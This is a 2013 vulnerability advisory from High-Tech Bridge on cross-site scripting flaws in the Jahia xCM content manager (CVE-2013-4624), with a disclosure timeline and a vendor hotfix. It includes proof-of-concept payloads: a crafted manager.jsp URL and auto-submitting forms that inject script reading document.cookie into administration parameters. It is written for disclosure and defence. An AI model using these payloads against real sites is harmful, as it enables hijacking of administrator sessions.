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Multiple XSS Vulnerabilities in Jahia xCM



Advisory ID: HTB23159
Product: Jahia xCM 
Vendor: Jahia Solutions Group SA 
Vulnerable Version(s): 6.6.1.0 r43343 and probably prior
Tested Version: 6.6.1.0 r43343
Vendor Notification: June 5, 2013 
Vendor Patch: July 17, 2013 
Public Disclosure: July 31, 2013 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-4624
Risk Level: Low 
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in Jahia xCM, which can be exploited to perform cross-site scripting attacks against administrator of vulnerable application.


1) Multiple Cross-Site Scripting (XSS) Vulnerabilites in Jahia xCM: CVE-2013-4624

1.1 The vulnerability exists due to insufficient sanitisation of user-supplied data in "site" HTTP GET parameter passed to "/engines/manager.jsp" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in  browser in context of the vulnerable website.

The exploitation example below uses JavaScript 'alert()' function to display administrator's cookies:

http://[host]/engines/manager.jsp?conf=repositoryexplorer&site=%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


1.2 The vulnerability exists due to insufficient filtration of user-supplied data in "searchString" HTTP POST parameter passed to "/administration/" URI when "do=users" and "sub=search". A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation example below uses JavaScript 'alert()' function to display administrator's cookies:


<form action="http://[host]/administration/?do=users&sub=search"; method="post" name="main">
<input type="hidden" name="searchString"   value="'><script>alert(document.cookie);</script>">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>



1.3 The vulnerability exists due to insufficient sanitisation of user-supplied data in "username", "manage-user-property#j:firstName", "manage-user-property#j:lastName", "manage-user-property#j:email" and "manage-user-property#j:organization" HTTP POST parameters passed to "/administration/" URI when "do=users" and "sub=processCreate". A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation example below uses JavaScript 'alert()' function to display administrator's cookies:


<form action="http://[host]/administration/?do=users&sub=processCreate"; method="post" name="main">
<input type="hidden" name="username"                            value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:firstName"    value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:lastName"     value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:email"        value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:organization" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="actionType"   value='save'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>


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Solution:

Apply hotfix 7, that is available to all customers:
https://www.jahia.com/fr/home/support/customers-extranet/enterprise-jahia-downloads/jahia-xcm---version-66.html

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References:

[1] High-Tech Bridge Advisory HTB23159 - https://www.htbridge.com/advisory/HTB23159 - Multiple XSS Vulnerabilities in Jahia xCM.
[2] Jahia xCM - http://www.jahia.com - Jahia xCM is the unified interface to access, personalize and manage best of breed WCM, portal and document management features.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.